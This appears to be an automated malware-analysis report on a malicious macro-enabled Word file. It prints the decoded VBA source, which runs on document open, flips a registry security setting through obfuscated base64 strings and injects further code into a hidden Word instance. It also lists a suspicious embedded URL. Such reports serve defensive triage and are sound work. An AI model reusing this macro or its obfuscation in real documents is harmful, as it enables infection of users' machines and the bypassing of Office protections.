MALICIOUS
132
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
vbCaption.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString optionRepoText -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set collectionWindow = CreateObject("msxml2.domdocument") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://2003-ortega-coin.com/bijol/zZh8EIhkrSUqE/wvmpeISJDubxjzEjoa61qZS8xgQCjHj/xa5ItIv2KPbo3QzSDAD5bpR7WaczCc9wrlEz7WbOR/QppHKYr78gks5vSFcqsdzdT4NDxo In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2846 bytes |
SHA-256: 8008998efefee4595dd3faf0e00f60948366808686f62d2c3204915d3ec934e1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{32E25828-7C13-4518-B7D5-2E5207873A30}{DD289994-A911-4F72-9ED0-4B6CFC162ADA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "libVarBuffer"
Sub autoopen()
listboxCopy
Dim vbMemCounter As String
vbMemCounter = tableReference
valueProcedure vbMemCounter
End Sub
Attribute VB_Name = "valueMemMemory"
Function classArgument(buttonLeftTrust As String) As Variant
Dim collectionWindow As Object
Dim ALoad As Object
Set collectionWindow = CreateObject("msxml2.domdocument")
Set ALoad = collectionWindow.createElement("code")
ALoad.DataType = "bin.base64"
ALoad.Text = buttonLeftTrust
classArgument = ALoad.nodeTypedValue
End Function
Function sizeMemory(captionSwapText, namespaceGeneric)
sizeMemory = StrConv(captionSwapText, namespaceGeneric)
End Function
Attribute VB_Name = "valueViewRequest"
Sub valueProcedure(optionRepoText As String)
Set rightAMain = CreateObject("word.application")
Set vbCaption = rightAMain.Documents.Add
vbCaption.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString optionRepoText
rightAMain.Visible = False
rightAMain.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Attribute VB_Name = "exceptionNextBuffer"
Function windowResponseSwap() As String
windowResponseSwap = Application.Version
End Function
Function deleteNext()
deleteNext = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function titleIterator()
titleIterator = "cript.sh"
End Function
Function repoFunc()
repoFunc = "VjdXJpdHlcQWN"
End Function
Sub listboxCopy()
captionConst = sizeMemory(classArgument("SEtFWV9DVVJSR" & deleteNext & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
lenReferenceStruct = windowResponseSwap
leftSelect = sizeMemory(classArgument("XFdvcmRcU2" & repoFunc & "jZXNzVkJPTQ=="), vbUnicode)
requestOptionGeneric = captionConst & lenReferenceStruct & leftSelect
With CreateObject("ws" & titleIterator & "ell")
.RegWrite requestOptionGeneric, 1, "REG_DWORD"
End With
End Sub
Public Function namespaceArrayClear(ByVal mainCopyMem As String) As String
For lenConstLen = 1 To Len(mainCopyMem) Step 2
procDocument = Chr$(Val("&H" & Mid$(mainCopyMem, lenConstLen, 2)))
iteratorPointer = iteratorPointer & procDocument
Next lenConstLen
namespaceArrayClear = iteratorPointer
End Function
Function tableReference()
tableReference = UserForm1.TextBox1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 27648 bytes |
SHA-256: ed1fa9bb8477b78460d7b15f075e3cf76d3d96789b9fbca6627e62059cdfd030 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.